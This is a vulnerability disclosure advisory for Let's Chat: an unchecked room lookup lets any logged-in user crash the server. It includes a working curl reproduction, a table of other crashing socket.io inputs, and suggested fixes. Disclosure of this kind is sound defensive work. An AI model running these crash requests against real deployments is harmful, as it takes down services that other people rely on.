## https://sploitus.com/exploit?id=PACKETSTORM:227207
# Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)
**Assigned CVE ID:** CVE-2026-66749
## Summary
One HTTP request from any logged-in account shuts down the Let's Chat server process.
`GET /messages` takes a `room` parameter, looks that room up by id, and then calls a method
on the result without checking that the lookup returned anything. Send an id that is a valid
24 character hex string but belongs to no room, and the resulting `TypeError` is thrown
inside a Mongoose callback. Express only catches exceptions raised synchronously inside a
handler, so this one reaches Node as an uncaught exception and the process exits.
## Affected versions
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable from 0.4.0 (commit `84981a6`, 21 Feb 2015, which introduced the `canJoin` call)
through 0.4.8, the final release. No fixed version exists.
Confirmed on 0.4.8 at commit `617207f`, and on `docker.io/sdelements/lets-chat:latest`
(0.4.7), which is still publicly pullable.
## Classification
CWE-476: NULL Pointer Dereference, leading to CWE-248 Uncaught Exception and CWE-400
Uncontrolled Resource Consumption.
CVSS 4.0 base score 7.1 (High)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
## Threat model
The attacker needs one ordinary user account and network access to the HTTP port. They do not need to own or belong to any room, know any room id that exists, or hold
any elevated role.
The account requirement is weak in a default install, because `auth.local.enableRegistration`
defaults to `true` in `defaults.yml`, so anyone who can reach the login page can create an
account and then run the request.
Neither the `Procfile` (`web: npm start`) nor `docker/docker-compose.yml` configures a
supervisor or restart policy, so on a stock deployment one request takes the service down
until an operator restarts it. Where an operator has added process supervision, the attacker
can simply repeat the request.
## Technical detail
The route registers no room validation middleware. `app/controllers/messages.js:25-32`:
```js
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
```
Compare `app/controllers/messages.js:34-41`, where the room scoped variant does add
`middlewares.roomRoute`, which resolves the room and returns 404 when it does not exist:
```js
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
```
So on `/messages` the `room` value reaches the manager unvalidated.
`app/core/messages.js:118-129`:
```js
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
```
`Model.findById` calls back with `(null, null)` when the id casts cleanly but matches no
document. There is no `if (!room)` guard, so line 129 dereferences null.
Observed output:
```
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
```
## Reproduction
Against a stock install on port 5000, with no configuration changes:
```bash
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"mallory@example.com",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
```
Step 3 returns no body and curl exits with code 52 (empty reply from server). The server
process is gone. Any id that is 24 hex characters and matches no room works.
## Other instances of the same defect
`express.oi` registers every `app.io.route(...)` key as a plain `socket.on(...)` handler
(`initRoutes` in `node_modules/express.oi/lib/index.js`). An authenticated socket.io client
can therefore call these handlers directly, which skips the Express middleware chain
including `roomRoute`. It also removes Express's try/catch, so a synchronous throw that would
be a 500 over HTTP kills the process over socket.io.
Each of the following also terminates the process. Confirmed all of them.
| Reachable over | Input | Throw site |
| --- | --- | --- |
| HTTP and socket.io | `messages:list`, `room` set to a nonexistent id | `app/core/messages.js:129` |
| HTTP and socket.io | `files:list`, `room` set to a nonexistent id | `app/core/files.js:167` |
| socket.io | `rooms:get` with a nonexistent id, or with no id | `app/core/rooms.js:213` via `:234` |
| socket.io | `rooms:users` with no room | `app/core/rooms.js:248` |
| socket.io | `rooms:join` with no id | `app/core/rooms.js:248` |
| socket.io | `messages:list` with `expand` as an array | `app/core/messages.js:97` |
| socket.io | `files:list` with `expand` as an array | `app/core/files.js:139` |
| socket.io | `users:get` with `id` as an object | `app/models/user.js:139` |
## Suggested fix
Guard the lookups. In `app/core/messages.js:118` and `app/core/files.js:156`:
```js
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
```
`app/core/rooms.js:234` needs the same treatment before it calls `sanitizeRoom`, and
`app/core/rooms.js:248` should reject a missing or non string `options.identifier`.
Two changes would close the whole class rather than these instances. First, coerce and
validate the query parameters that are assumed to be strings (`expand`, `room`, `id`,
`take`, `skip`) at the controller boundary. Second, wrap the socket.io handler dispatch in
a try/catch and attach a `process.on('uncaughtException')` handler so a single bad request
degrades to an error response instead of stopping the server.